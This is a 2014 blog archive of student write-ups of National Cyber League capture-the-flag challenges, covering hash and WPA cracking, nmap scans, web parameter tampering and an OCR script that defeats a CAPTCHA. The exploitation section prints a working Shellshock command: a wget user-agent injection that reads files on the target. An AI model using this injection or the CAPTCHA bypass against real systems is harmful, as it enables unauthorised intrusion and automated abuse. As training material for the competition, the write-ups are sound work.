Archive | December, 2014

2014 NCL National Championship Challenge

By Glenn Murphy

Although the challenges in the NCL competition became progressively more difficult with each round, the Post-Season games at least gave the benefit of time—eight days instead of four hours. That provided the opportunity to spend many hours searching online and learning in an attempt to capture more flags. Below is a description of how one member of CLC’s Gold Bracket “CLC Team 6” approached some of the challenges in the areas of Password Cracking, Wireless Exploitation, Scanning and Reconnaissance, and Enumeration and Exploitation.

Password Cracking

Even though my efforts on the Password 1 challenge only duplicated the efforts of other members of the team, I still feel it was worth the time for the experience I gained. For this challenge an HTML file is provided which purports to be a solicitation to crack a password database in return for bitcoins. The “client” provides several plain text passwords, the password file containing usernames and hashed passwords, and nearly complete code for implementing the hashing algorithm (shown below).


Due to the fact that it has been many years since I have done any kind of programming, my first order of business was to figure out what language this is written in. A Google search for strlen, ord, and base64_encode returned many pages of documentation for PHP, a language in which I have never written a single line of code, so the first order of business was to see if I could quickly learn enough about PHP to implement the missing characterSplit function. This turned out to be quite easy, as I quickly found that PHP already has a str_split function that performs the necessary function of loading the individual characters of a string into an array, and this function could simply be used to replace all references to characterSplit in the provided code. Next up was finding a way to run the code without implementing it on a web server. Thankfully Linux has a command line PHP interpreter, so I placed the code in a simple shell script that replaced the initial jHash function call with a line of code that takes a command line argument and loads it into a string variable used by the remaining code. The resulting code was as follows:




$hash = false;

$hash1 = 0;

$base = base64_encode($string);

$characters = str_split($string);

foreach ($characters as $character) {

$hash1 += ord($character);


$hash = $hash1 * strlen($string);

$hash2 = 0;

$characters = str_split($base);

foreach ($characters as $character) {

$hash2 += ord($character);


$hash2 = $hash2 * strlen($base);

$hash3 = $hash1 | $hash2;

$hash4 = $string ^ $base;

$characters = str_split($hash4);

foreach ($characters as $character) {

$hash4 += ord($character);


$hash = $hash1 + $hash2 + $hash3 * $hash4;

echo base64_encode($hash);


It was time for a test to see if the code was working, so I fed the script the first provided password, “Darnassus”, and checked to see if the resulting hash matched any of the hashes in the provided password file.


The lack of a newline made for rather ugly output, but the test was successful—the hash matches the first line in the password file for user “test”. Now it was time to find potential passwords to hash, and find a way to feed a file to the script instead of running once per password. I played World of Warcraft once upon a time, and immediately recognized that the three provided passwords were all names of cities in the game, although someone unfamiliar with the game could have Googled Darnassus, Ratchet, and Area 52 and quickly found a wiki page listing city names for eight of the passwords. For this reason I initially concentrated on making lists of cities, towns, islands, etc. from the game. The solution I came up with was somewhat ugly, and still required some manual cleaning of the data. My procedure was to look at the source of pages from the web site containing lists of the type of data containing potential passwords. The html containing the list of items (e.g. boss characters) was copied into a text file, then the HTML tags were stripped out using sed as in the following example:

cat bosses4 | sed 's|<[^>]*>||g' >> bosses

Here the fourth page of a large list of bosses was stripped of HTML tags and appended to a single text file listing one boss name per line. The file was then opened in gedit to remove any extraneous characters (many longer lists would contain letters of the alphabet dividing the list, and these would end up at the end of a name after the tags were removed). Once a list was created, it could be fed to the hashing script using another short script (which probably could have been combined into one script).

while read line; do
./custom-hash "$line";echo $line 
done < /root/G3/bosses

This script could then be piped to grep to see if any hashes matched those from the provided file. This technique allowed me to find the passwords my teammates had already found, but four passwords had still not been found. I did not put any more effort into building password lists at that point since I learned that one of my more knowledgeable teammates was working on a way to scrape the entire WoWwiki site, so I decided to spend the remaining hours of the competition working on other challenges.

Wireless Exploitation

As in the previous rounds, the NCL Post-season had four Wireless Enumeration challenges of increasing difficulty. As it would not be possible to try to exploit a live wifi network as part of the competition, a .cap file is provided for each challenge containing authentication packets among the other data, and therefore making it possible to decrypt once the password was cracked. The first two challenges were WEP “protected” networks with a large number initialization vectors in the .cap files, so obtaining the passwords was trivial using aircrack-ng. Wireless-1 had a 40-bit key, and Wireless-2 had a 128-bit key.



Once the key was found, it could be entered into the IEEE 802.11 preferences in Wireshark in order to decrypt the .cap file and start looking for the remaining flags.


Many of the NCL Wireless Access Exploitation challenges ask for the MAC address of a packet injector and the victim client. I did many, many internet searches in an attempt to figure out how to interpret a .cap file to find this information, but came up empty every time. There are numerous tutorials on how to perform packet injection to exploit an access point, but even when I tried to use search terms geared more towards forensics and security topics, I could not find any information on how to identify and analyze a packet injection attack from network data. I could sometimes make an educated guess by filtering for deauth packets in Wireshark, but every .cap file was different, and this did not always help.


Each Wireless Access Exploitation had one flag that was fairly easy to capture once the password was cracked—the Wireless Administration interface password. The .cap files all conveniently contain HTTP traffic to the wifi access point’s web interface. For smaller .cap files it can be possible to simply filter for HTTP traffic and inspect the resulting packets for GET commands. For larger files with more HTTP traffic it is helpful to further filter by destination IP after determining the IP of the wireless access point. In the case of NCL-G3-WIRELESS-1.cap, the IP address was


Following the TCP stream reveals a base64 encoded basic authorization which can easily be converted to plain text using the base64 command.



The base64 command is intended to take its input from a file, so as can be seen above, giving it encoded data from the command line is a bit awkward. Another option is to simply put the encoded base64 data in a text file, then the command syntax is simply

base64 -d <filename>

The Wireless-3 and Wireless-4 challenges for all rounds of the NCL competition used WPA encryption, with the difficulty steadily increasing with each round. Wireless-3 in each case was susceptible to dictionary attacks, but needed larger dictionaries for each round. The darkc0de.lst file distributed with many cracking programs was OK to start, but it was necessary to move up to rockyou.txt for Round 2, and although I started it too late in week to find the key before the competition ended (the key was found approximately 3 hours after the deadline), the massive crackstation.txt dictionary contained the password for the Post-season Wireless-3 challenge.



As you can see from the screen capture, it took my virtual machine just under 57 hours to check nearly 780 million passwords. This virtual machine was a 64-bit Kali installation using 6 cores of a AMD FX-8120 processor, so it was not exactly the best setup for doing password cracking. AMD’s FX processors have a modular design where each module has two cores with independent integer units, but the two cores share a floating point unit (see AMD’s intention was that machines using FX processors would also use AMD GPUs, which could be used to pick up some of the heavy floating point workloads. Unfortunately, the VM I used was running on a ESXi host that is not configured for direct access to hardware such as the graphics card, and the graphics card is an old, under-powered model used only for console access during installation of the OS.

Before deciding I had nothing to lose by letting the VM run aircrack-ng for days, I had made an attempt to set up a physical machine to use a GPU. An external USB3 dock was used with an old hard drive to run Linux on what is usually a Windows 8 computer. The machine in question has a AMD FX-6300 six-core processor and a AMD Radeon HD 7700 GPU. This is not a high-end GPU, but benchmarks I saw on various websites indicated that it should be able to do roughly 90,000 WPA keys/second. Unfortunately, it can be quite tricky to get this set up properly in Linux. In order to enable the use of GPU processing by tools like aircrack-ng or oclhashcat it is necessary to use proprietary drivers. These drivers can conflict with the open-source drivers if not properly installed, and are very finicky about kernel and library versions. The best performance I managed to obtain was about 12,000 keys/second. Although this was a three-fold improvement over the VM’s performance, it was only a fraction of the performance the GPU should have been capable of. Since it was obvious that something was not right in my configuration, I chose not to run this setup for fear of damaging the GPU.

Another approach I attempted (unsuccessfully) to use for cracking the WPA passwords was to use the crunch command to generate wordlists for aircrack-ng on the fly. It can take a while to learn crunch’s syntax, but it can be a very powerful tool if you want to try potential passwords with a particular pattern, and piping it directly to a cracking program eliminates the need to store the huge files crunch is capable of generating (for example, all combinations of 8 lowercase letters would produce a nearly 2TB text file). Earlier rounds of the NCL competition had passwords such as “pumpkinpie” and “pumpkinhead”, so I wanted to explore possible passwords starting with the word pumpkin. The following command uses crunch to generate 12-character passwords starting with pumpkin followed by five lower-case letters, and pipes them into aircrack-ng from stdin.

crunch 12 12 -t pumpkin@@@@@ | aircrack-ng --bssid c0:c1:c0:89:10:fe -w- NCL-G3-WIRELESS-3.cap

This took about an hour to run on my VM (checking 3 and 4 character combinations was very fast), but as can be seen above, I was looking for the wrong pattern. I had simply assumed that the pattern from previous rounds would continue, and it did not occur to me that having moved on from October to November the theme might change. I did not test this theory, but it might be possible in cases like this to build a smaller dictionary from crackstation.txt using grep to find passwords containing pumpkin, turkey, etc. Although the full crackstation file is 15GB, grep should be able to run through it looking for a word to create a smaller targeted dictionary relatively much faster than waiting for aircrack-ng to go through the entire dictionary sequentially.

Although my lack of success during the competition was a bit frustrating, I did learn a lot from my attempts to crack the password for NCL-G3-WIRELESS-3.cap. I try to console myself with the knowledge that even if I had cracked it a few hours sooner, the flags for this challenge were not worth enough points to move our team up any further in the standings.

Scanning and Reconnaissance

The NCL Scanning and Reconnaissance challenges generally have some low-hanging fruit simply asking for the first 1 through n TCP or UDP ports on the server at the given target IP. Most of the ports can be found using a simple default scan such as TCP scan for Recon 1 shown below.


To find the higher point value open ports requires only a little more knowledge of nmap, such as realizing that it only scans the first 1000 common ports. Therefore, to find the remaining open port flags, it is usually only necessary to either specify a port range to scan or (if you are a little more patient) scan all ports.

The Recon 2 flags for the post-season were somewhat more challenging. The first order of business is to find the port that has a HTTP 1.1 compliant web server running on it. As can be seen in the scan for ports 50-70 shown below, this target returns what appears to be random banners for every port. Depending on the type of scan, nmap will tell you that either all ports are open, all ports are closed, or all ports are filtered.


For a long time I assumed that this behavior was the response of an Intrusion Detection System responding to my scans, so I spent a lot of time playing with timing options and custom TCP flags in an attempt to get around this behavior. All I learned from this was that the standard ports for SSH, SMTP, and Samba did appear to actually be open. All scans and attempts to connect to these ports using telnet gave the same response every time. It finally occurred to me that I was approaching the problem all wrong. The key lesson was that open ports were giving the same response every time, and the remaining ports were likely to respond with a different banner each time they were scanned. So the solution was to do more than one scan of all ports, and then compare the scans for ports that did not change. So I did two scans of all ports, and had nmap output the results in all formats, because allthough I wasn’t sure how I was going to search through two sets of 65,535 ports, I knew I wasn’t going to do it with my eyeballs. The command I used to generate the first scan is shown below.

nmap -Pn -v -n -p- -sV -oA recon2-all-ports-diff1

There are probably easy ways to use nmap’s XML output to analyze data, but I’m not familiar with them. What I do know is that if you want to manipulate text data using common command line tools, there is probably a solution to be found on I knew there was a Unix tool called diff that will show you which lines of two files are different, but I was surprised to discover that there is no easy tool to use to show which lines match. It didn’t take long to find the following code from



for file1 in *


for file2 in *


if [ "$file1" != "$ans" ] && [ "$file2" != "$ans" ] && [ "$file1" != "$file2" ] ; then

echo "Comparing: $file1 $file2 ..." >> $ans

perl -ne 'print if ($seen{$_} .= @ARGV) =~ /10$/' $file1 $file2 >> $ans




A quick test comparing .nmap files from two scans of the target showed that I had a problem. The format of the .nmap file is four columns separated by whitespace showing PORT, STATE, SERVICE, and VERSION. But the amount of whitespace can change from one scan to the next depending on the length of the data contained in the SERVICE column, causing some matches to be missed. This was easily remedied by using tr to reduce all whitespace to single spaces:

cat file.nmap | tr -s ' ' > newfile.nmap

After the resulting files were run through the comparison script above, I was able to grep the resulting matching_lines file for “http”. This resulted in a very short list of ports to check:


Port 56565 was indeed running nginx, and a quick look at the page source gave 5 easy flags:



<title>Flag 2: NCL-MORE-1337</title>


<body bgcolor="white" text="black">

<center><h1>Flag 1: NCL-KDLS-8682</h1></center>

<span style="color: white">Flag 3: NCL-6320-HCDL</span>

<span style="font-size: 1px">Flag 4: NCL-1639-UCLS</span>

<!-- Flag 5: TkNMLUNXTkItNzI0NAo= --!>



Flags 1 and 2 were in plain sight in the page and the browser title bar, flag 3 was hidden by making it white text on a white background, flag 4 was in unreadable 1pixel font, and flag 5 was base64 encoded in a comment. Although I did poke around a liitle more on this server, I never discovered where the sixth flag was hidden, and chose to spend the remaining time on other challenges.

Enumeration and Exploitation

With time running out on Saturday night, CLC Team 6 was slowly falling in the standings, and I was becoming desperate to find something I could figure out for some more points. The last thing I looked at was Exploit 3, a web server with a simple page that uses links to display the output of some common commands using a CGI interface.


I spent fair amount of time trying to figure out if there was some way to get the output from command injection using the browser, and based on what I was seeing in the ps aux output, I wasn’t the only one. This approach was a dead-end, but did at least show me that the ps output was real as evidenced by my frustrated question displayed as PID 22111 in the output below.


Although I did not find a way to find the flags on this target using a browser, I did get a lot of useful information from the process list. First of all, I noticed that in most cases, the next PID after a CGI process was /bin/bash -i, a call to an interactive shell. It was time to start reading up on how to exploit shellshock. The other piece of information gained was the path to the cgi-bin directory, which could be useful once an exploit was found.

My metasploit installation was up to date, and included multiple exploits for the bash shellshock bug. However, after about half an hour of playing around with the options for them, I was unable to successfully connect to the target with a reverse shell payload. I was starting to wonder if I was on the right track, so I took a step back and started searching the web for various ways to remotely test if a server was susceptible to shellshock. Eventually my searches led me to a page ( explaining how to use the wget command using the user agent string to send commands to a webserver with the command output dumped to the file the wget command is supposedly trying to download. This method could be used to list directories, then cat the contents of flag files once they were found as in the following example for flag 2:

wget --secure-protocol=auto --no-check-certificate -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /var/www/flag02.php"

which resulted in the following output:


Unfortunately, I didn’t figure out this exploit until there were literally only minutes left in the competition, so I ran out of time before I could find all of the flags. Amusingly, I never found flag 1, although that was probably meant to be the easiest one. Once I figured out the exploit, I went straight to a listing of the root directory to get my bearings, and found flags 3 and 4 in text files there. I went back to the /var/www directory next and found flag 2 in a PHP file, but then the clock hit 11PM and the contest was over. Fortunately, the flags I did get from this target gave enough points to raise the team from 11th to 8th in the standings almost literally at the last minute (my last flag capture was at 10:57PM).


Although I was often frustrated by my lack of knowledge, especially in web app exploitation, competing in the NCL competition was a very fun and educational experience overall. I often surprised myself with how much I could learn on the fly just using Google and some common sense. My biggest regret was the lack of planning for the Post Season team round. There was very little communication between team members (I was almost always the only student on the IRC channel), and a lot of duplicated efforts. We were a bunch of individuals with a combined score rather than a team. One member of the Gold team did not capture any flags, and I felt this should not have happened if we were actually working as a team. I still hope everyone got something out of it, and that what we learned can be used to improve the experience for future classes.

Leave a Comment

2014 NCL Pre-Season Write-Up

Password Cracking for Windows Passwords

Part one of the section asked what the password hashes were for specific users. To answer those, you simply had to copy the correct hash format and paste it into the flag entry dialog box.

Part two of the section asked what the plaintext passwords were for specific users. In order to get the passwords, you had to decrypt the NTLM hashes. I found that the quickest way to decrypt the NTLM hashes was to use the online tool provided by

Password Cracking for Linux Passwords

Part one of the section asked what the password hashes were for specific users. I used the same method as with the Windows passwords, copy and pasting the hash into the flag entry dialog box.

Part two of the section asked what the plaintext passwords were for specific users. In order to get the passwords, you had to decrypt the MD5 hashes. I found that the quickest way to decrypt the MD5 hashes was to use John the Ripper.

Part three of the section asked what the password hashes were for each specific user and this time the encryption method used was SHA-256. In order to determine the hash algorithm, you must look into how Linux stores passwords. $5$ indicates that the SHA-256 algorithm was used to hash the passwords. Knowing which hash algorithm was used may be required depending on which tool you are going to use to crack them.

Below is a guide for future reference.

$1$= MD5





The flags for this section were captured by copying and pasting the hashes into the flag submission dialog box.

Part four of the section asked what the plaintext passwords were for specific users. In order to get the passwords, you had to decrypt the SHA-256 salted hashes. Again, I used John the Ripper. Note in the screenshot below that John the Ripper was able to detect the SHA-256 hash algorithm.

John the Ripper was unable to decrypt user5 and after several additional tries, I moved on.

Network Traffic Analysis

I used Wireshark to analyze the four PCAP files provided for this portion of the challenge. If you have used Wireshark before, the majority of the questions are fairly straight forward. When I first began using Wireshark, I found the best way to learn was by capturing my own network traffic and analyzing it.

Network Capture 1 – Questions and Answers


In order to determine which IP address was sending ICMP requests, I applied a filter (icmp.resp_in) that would show me all ICMP requests. From there it was a matter of singling out the source IP ( and pasting it into the flag dialog box.



To find the IP address of the system replying to the ICMP requests you can look at the destination of the ICMP request (



Using the same filter (icmp.resp_in) that was used to see all of the ICMP requests, you can look at the bottom of the window pane to see how many requests are being displayed by the filter, in this case there were 19 ICMP requests being displayed.



To see how many ICMP responses were in the capture, you can add “not” to the beginning of the previously used filter (not icmp.resp_in). Again, looking to the bottom of the window pane, you can see that there were 19 ICMP responses.


Network Capture 2 – Questions and Answers


In order to find the IP address of the FTP user, I applied the “ftp” filter to eliminate all non-FTP traffic. Once the filter was applied, it was a matter of identifying the source IP address ( of the FTP request.



To find the IP address of the FTP server, you need to identify the source IP address ( of the FTP response.



To find the Default Gateway to the FTP user, you can use the “ARP” filter. This may not always be the easiest way; however, because there was only one broadcast and one reply in the capture, it turned out to be straight forward.




Finding the username and password can be completed by looking at the information in the Info column.


Additionally, the entire conversation can be viewed by right clicking on one the ACKs and following the TCP stream.



You can see using the screenshot above that the name of the uploaded file was passwords.txt


To view the contents of the uploaded file you need to find the packets that contain FTP-DATA in the Protocol column, right click on one of them and Follow the TCP Stream.


A dialog box will open containing the contents of the file. You should use the “Save as” option to export the data out and use a MD5 generator such as “Hash my Files” to get the needed MD5.


The MD5 for the exported text was: B0B625BD4997A9C43258FC9C320FD24D

Network Capture 3 – Questions and Answers

The questions in this section were self-explanatory; however, I listed screen shots of the answers for those that may have not seen questions like them before.



















Network Capture 4 – Questions and Answers









Scanning and Reconnaissance

Recon 1 – Questions and Answers

For this section you were provided with an IP address and asked to determine which TCP and UDP ports were open. The questions were phrased as follows:


The TCP portion had several questions like the one above and could be answered by using a scanning tool, such as NMAP. I used Zenmap, which is a GUI version of NMAP on this portion of the challenge.

Using Zenmap, I ran an Intense scan, all TCP port which generates the following Nmap Command:

nmap -p 1-65535 -T4 -A -v

All the questions could be answered by looking at the port numbers in numerical order.

The UDP portion contained the same questions, but instead asked for the UDP port numbers.

Using Zenmap, I ran an Instense can plus UDP which generates the following Nmap command:

nmap -sS -sU -T4 -A -v

Recon 2 – Questions and Answers

For this section, an IP address was provided and scanned using Zenmap.


The Zenmap scan revealed one open http port (19283).


Entering the IP address and specifying the port number revealed the first flag.



Viewing the source of the webpage revealed Flag 2, 3, 4 and an encoded value for Flag 5.


To determine what Flag 5 was, the encoded texted was plugged into an online base64 decoder. Flag 5 was revealed.


Open Source Intelligence

For this section it is important to remember what the topic is.

The target IP address provided leads to a webpage containing a cross-site scripting vulnerability.


If you view the Page Source you will find the following hints:


Googling one of the flag hints will lead you to the document containing the answers.

“Flag 1: Cause an alert box to popup via a permalinked search URL –!>”

I must admit that this section only came easy because the exact same challenge, containing the same flags were explained in the publicly released NCL 2012 Challenge Explanations, which I had read prior to the start of the pre-season.

The second portion involved the same steps as above with a new target IP



Web Application Exploitation

Web 1

For this challenge, you were given an IP address, which led you to the following page:

As you can see there is a cost involved in order to reveal the flag and you do not have enough coins to get them all.

To reveal the flags for this section, I used the Inspect Element feature on the page and deleted the node highlighted in yellow below, for each flag. Instead of deleting the entire node, the value could also be changed.

100 coins node

Web 2

This section contains the same concept as the previous section.

Deleting “Hidden” from the ‘type’ field modified the page so that a form became available.

Entering a negative value in the form field resulted in adding coins to the balance.

-2000 coins

Adding -2000 into the form resulted in adding ten times that amount into the coin balance.

 20010 Coins

Leave a Comment

2014 NCL (NATIONAL CYBER LEAGUE) Fall Season Competition Highlights

Pre-Season – Web 1

This website allows players to “buy” flags. The player is given 100 coins, but only the first two flags can be purchased for 100 or less. What to do… Using a Firefox (Iceweasel) add-on called Tamper Data, I was able to modify the data being sent to the server before it left the browser.  The post parameters are the flag value, the cost and the submit value.


Changing the flag value to 5 and the cost to 1 and submitting yields the following (if you want to go black hat, change the cost to a negative number and make them pay you for the flag!):


From here, it’s just a matter of changing the flag values and grabbing the flags:

  • Flag 5: Purcahse Complete! Your Flag Is: NCL-CDEW-0922
  • Flag 4: Purcahse Complete! Your Flag Is: NCL-BRSA-2083
  • Flag 3: Purcahse Complete! Your Flag Is: NCL-AVBY-5907
  • Flag 2: Purcahse Complete! Your Flag Is: NCL-MOWX-8903
  • Flag 1: Purcahse Complete! Your Flag Is: NCL-TXSQ-7436

Pre-Season – Web 2

This is pretty much a variation on Web 1.  Again, using Tamper Data and looking at the data being sent to the server, we can view the contents of the cookie:

PHPSESSID=2eq43ie2v0a99ah19q02apo2l4; balance=10


If this one isn’t obvious to you at this point, you should be worried.  Add some zeros to the end of the cookie before submitting the data and purchase flags!

  • Flag 1: Purcahse Complete! Your Flag Is: NCL-NBCE-1694
  • Flag 2: Purcahse Complete! Your Flag Is: NCL-CNDE-2783
  • Flag 3: Purcahse Complete! Your Flag Is: NCL-KVFF-3872
  • Flag 4: Purcahse Complete! Your Flag Is: NCL-BQWZ-4961
  • Flag 5: Purcahse Complete! Your Flag Is: NCL-NUCY-5050

Flag 6 is a little tricky: the flag post parameter has to be changed to 6 (same as Web 1).  Sure enough, out pops a flag:

Flag 6: Purcahse Complete! Your Flag Is: NCL-YJQB-7784

* A hint to future competitors: they consistently misspelled “purchase” during these events.  Miss spelled words might be useful for dorking around Google in the future.

Regular Season Game #1 – Windows Passwords

The first set of flags were simply the password hashes for users. The file contains Windows NTLM hashes. Submitting the following values scored me the first few flags:

user 1:

user 2:

user 3:

user 4:

user 5:

user 6:

user 7:

user 8:

user 9:

The next set of questions asks for the plaintext passwords for each user. I fired up Ophcrack and loaded one of their tables (XP free fast) along with the password dump. I got the following results:


Combining LM Pwd 1 with LM Pwd 2 allowed me to capture the rest of the flags for the Windows password cracking section.

A nice overview of NTLM vulns:

Regular Season Game #1 – Linux (MD5) Passwords

Like the Windows passwords, the first set of questions asks for the MD5 hashes in the password dump. The beginning of MD5 hashes can be identified by $1$. Each hash has 34 characters, 31 without the $1$. Here are the flag values:

user 1:

user 2:

user 3:

user 4:

user 5:

user 6:

user 7:

user 8:

user 9:

The second set of questions again asks for plain text passwords. I compiled a list of states with the years they joined the Union. I then ran that list through hashcat and nabbed a few points:


I tried playing with the cases and removing the last number (see Illinois above), I was unable to get any more of the passwords.

Regular Season Game #1 – Linux (SHA) Passwords

Rinse, repeat. SHA passwords are often either 256-bit or 512-bit, being identified with a $5$ or a $6$ correspondingly. A SHA-256 hash is 55 characters and a SHA-512 hash is 98 characters. To save space/time, you can see the hashes from the dump and the results I was able to find through hashcat. Easy points.


This turned out to be a useful site when I was trying to identify hashes:

Regular Season Game #1 – Network Capture 1

I didn’t make it very far with this challenge. I found that the protocol being scanned was SNMP by opening Wireshark and looking at the statistics for number of packets sent by protocol. From there I was able to determine the origin and destination IPs: and

Regular Season Game #1 – OSINT 3

This flag was odd. I don’t think more than a handful of people would have been able to figure this one out without help – they certainly wouldn’t have had time. The most efficient way to find this flag is to surf the web for the answer. It turns out, you can find it here:

Just in case you’re extra lazy and don’t want to browse the link for the flag, I was able to use 1290c8ae9f867dde48f16044b9e18bc1 to score points. I noticed that the NCL staff reused quite a few questions from the graveyard, the pre-season game and even between the regular and post season games.


Regular Season Game #1 – OSINT 6

After expanding this file, there are 6 files. Using the cat command on flag.1.asc, it shows a PGP header. Using cat on passphrase shows a value of IcedTea. I’d like to say I could give a lengthy explanation of how PGP is used to encrypt email and how to set up a client. But, I was pinched for time so rather than going through the trouble of setting up a client on my workstation, I found a website that would allow me to decrypt PGP messages:


After throwing some PGP-ness at it, I found all three flags:
Flag 1: NCL-JKOB-8972
Flag 2: NCL-XGCF-3487
Flag 3: NCL-NDSV-6482

Regular Season Game #1 – Web Application Exploitation

This one was pretty easy. I used Tamper Data again.  When submitting a user name of 1, here’s what data going to this website looks like:


To get the flag, change a’s value to true and send the info. This is the result:


Regular Season Game #1 – Web Application Exploitation

The player is presented with a simple login form with user name and password field.  Viewing the source of the page shows javascript being called from another web address at  Here’s the javascript on that page:

var _0x6382=["\x51\x77\x65\x72\x74\x79\x37\x38\x39\x34\x33\x6E\x73\x66\x64\x21\x21","\x4E\x43\x4C\x2D\x34\x33\x36\x39\x2D\x4E\x49\x4E\x45","\x49\x6E\x76\x61\x6C\x69\x64\x20\x4B\x65\x79"];function getFlag(_0x17b7x2){if(_0x17b7x2==_0x6382[0]){alert(_0x6382[1]);} else {alert(_0x6382[2]);} ;} ;

The code has been obfuscated by replacing ascii characters with hex characters.  See for a translation list.  I went to and threw the javascript into the decoder.  The result is:

<?  var _0x6382=["Qwerty78943nsfd!!","NCL-4369-NINE","Invalid Key"];function getFlag(_0x17b7x2){if(_0x17b7x2==_0x6382[0]){alert(_0x6382[1]);} else {alert(_0x6382[2]);} ;} ;  ?>

Inside the text is a flag!

Post Season – Crypto 3

The questions:

  • What is the last name of the author of the decoded document?
  • What is the title of the decoded document?
  • What is the flag in the decoded document?

The info we can get from the text file:

  • It’s long: good for data sampling
  • It looks like a normal document with punctuation and spacing
  • There don’t seem to be any special characters or numbers in place of letters

That narrows the options. I tried a few cyphers like ROT13 and Atbash. I had success when I tried Rumkin’s letter-pair replacement solver:

Here’s a screenshot of the result:


The decrypted text shows The Tragedie of Macbeth by William Shakespeare, July, 2000 [Etext #2264]. So, there are answers to the first two questions. The third flag can be found using find in any text editor or web browser. About a third of the way through the deciphered text, this shows up:


And there’s the last answer.



NCL Pre Season Zip File
NCL Game1 Zip File
NCL Game2 Zip File
NCL Post Season Zip File

Leave a Comment

2014 NCL Post Season Web 1 CAPTCHA Solution

The following solution is for the 2014 NCL Post Season event’s “Web 1” flag.

Tesseract OCR v3.02
Image Magick

On Ubuntu 14.04 the Tesseract package exists, but due to a packaging error, none of the training tools so compiling is necessary. Compiling Tesseract 3.02 from source requires also downloading and compiling Leptonica 1.70. Compiling info can be found here:

Cleaning up the CAPTCHA with ImageMagick is fairly easy after discovering the dark lines and noise can be eliminated with just two commands

# remove the dark lines
convert captcha.png -opaque '#404040' cleaned_captcha.png
# remove blue noise
convert cleaned_captcha.png -opaque '#0000ff' cleaned_captcha.png

Now, with the image cleaned up it is time for the OCR. Tesseract with the default English training files for the CAPTCHA’s font was returning about 90-95% accuracy. This would only get you 10-20 successful results before the counter would reset back to zero with only another 9,980 to go. It is time to train Tesseract for the CAPTCHA font.

Training Tesseract OCR is a manual multiple step process if you don’t have the font. With the font available, there is an automated solution. In this case, the font didn’t want to be found. Using Image Magick’s convert utility to append 20-30 of the cleaned up CAPTCHAs vertically allows you to train the most characters at one time. The first step to training is to create a box file from a TIF of failed CAPTCHAs. I explain later how to append them together.

tesseract -psm 6 eng.captcha.exp0.tif eng.captcha.exp0 batch.nochop makebox

Using the utility Cowboxer (works in WINE), I was able to edit the box file and fix any mistakes Tesseract made. Now it is time to train Tesseract using the corrected box file.

tesseract -psm 6 eng.captcha.exp0.tif eng.captcha.exp0 box.train

Now it is only a matter of running several other commands and copying the combined result file to the tessdata directory. For brevity’s sake I won’t describe what the commands do. More information can be found here:

echo "captcha 0 0 0 0 0" > font_properties


# for 2nd training session and after include previous box files
# unicharset_extractor

shapeclustering -F font_properties -U unicharset

mftraining -F font_properties -U unicharset -O eng.unicharset


# for 2nd training session and after includes previous training files
# shapeclustering -F font_properties -U unicharset
# mftraining -F font_properties -U unicharset -O eng.unicharset
# cntraining

mv shapetable eng.shapetable
mv inttemp eng.inttemp
mv pffmtable eng.pffmtable
mv normproto eng.normproto
combine_tessdata eng.
cp eng.traineddata /usr/local/share/tessdata

Training Tesseract OCR with appended failed CAPTCHAs will help improve accuracy after the first training session.

# append failed CAPTCHAs vertically for training
convert failed*.png -append eng.captcha.exp0.png

# resize to 1000 pixel width while maintaining aspect ratio
convert eng.captcha.exp0.png -resize 1000 eng.captcha.exp0.tif

After a few training sessions, the CAPTCHA failures are now at a much lesser rate, but not good enough to break 10,000 consecutive correct outputs. But during training with the failures, there were no errors. To emulate that, appending of the current CAPTCHA with additional ones was necessary before running through Tesseract. Then just pipe the output through the ‘tr’ and ‘cut’ commands to get the correct output.

CAPTCHA=`cat ocr_captcha_result.txt | tr -d '\n'| tr -d ' '| cut -c 1-6`

With Tesseract trained, it is now time to automate grabbing the CAPTCHA’s and decoding them.

for i in {0..10001}
  if [ ${i} -lt 1 ]; then
    # start the session
    curl -b cookies.txt -c cookies.txt -k \
      --data "username=user&password=test" \

  # submit captcha ocr value to server
  curl -b cookies.txt -c cookies.txt -k -X POST \
    --data "input=${CAPTCHA}&flag=1&submit=submit" \

  # download new captcha from server
  curl -b cookies.txt -c cookies.txt -k \ > captcha.png

  # remove the dark lines
  convert captcha.png -opaque '#404040' cleaned_captcha.png

  # remove blue noise
  convert cleaned_captcha.png -opaque '#0000ff' cleaned_captcha.png

  # append other cleaned captchas vertically to improve ocr accuracy
  convert cleaned_captcha.png \
    additional_captcha.png \
    additional_captcha_2.png \
    -append ocr_captcha.png

  # increase size for ocr accuracy
  convert ocr_captcha.png -resize 1000 final_ocr_captcha.tif

  # run captcha through tesseract ocr
  tesseract -psm 6 final_ocr_captcha.tif ocr_captcha_result

  # clean up and grab only first captcha values
  CAPTCHA=`cat ocr_captcha_result.txt | tr -d '\n'| tr -d ' '| cut -c 1-6`

At this point, you should be well on your way to 10,000 consecutive CAPTCHAs form submissions. If there is any issue with training failed ones, this code added added to the form submission line should help identify and save the failed CAPTCHAs for additional training.

# submit captcha ocr value to server
curl -b cookies.txt -c cookies.txt -k -X POST \
--data "input=${CAPTCHA}&flag=1&submit=submit" \ > flagdata.txt

if grep -Fq "You have failed" flagdata.txt
  echo "Failed captcha ${CAPTCHA}"

  cp captcha.png "failed-${CAPTCHA}.png"

  # will display the failed CAPTCHA using Image Magick's display command and keep the script running
  # comment this if experiencing a high failure rate
  display "failed-${CAPTCHA}.png" &

The looping video below shows the 9997, 9998, 9999, and 10000 solved solution:

Flag: MyVisionIs2020

Written and Solved by Ryan Lavelle

Leave a Comment

DerbyCon 4: t102 How to Give the Best Pen Test of Your Life by Ed Skoudis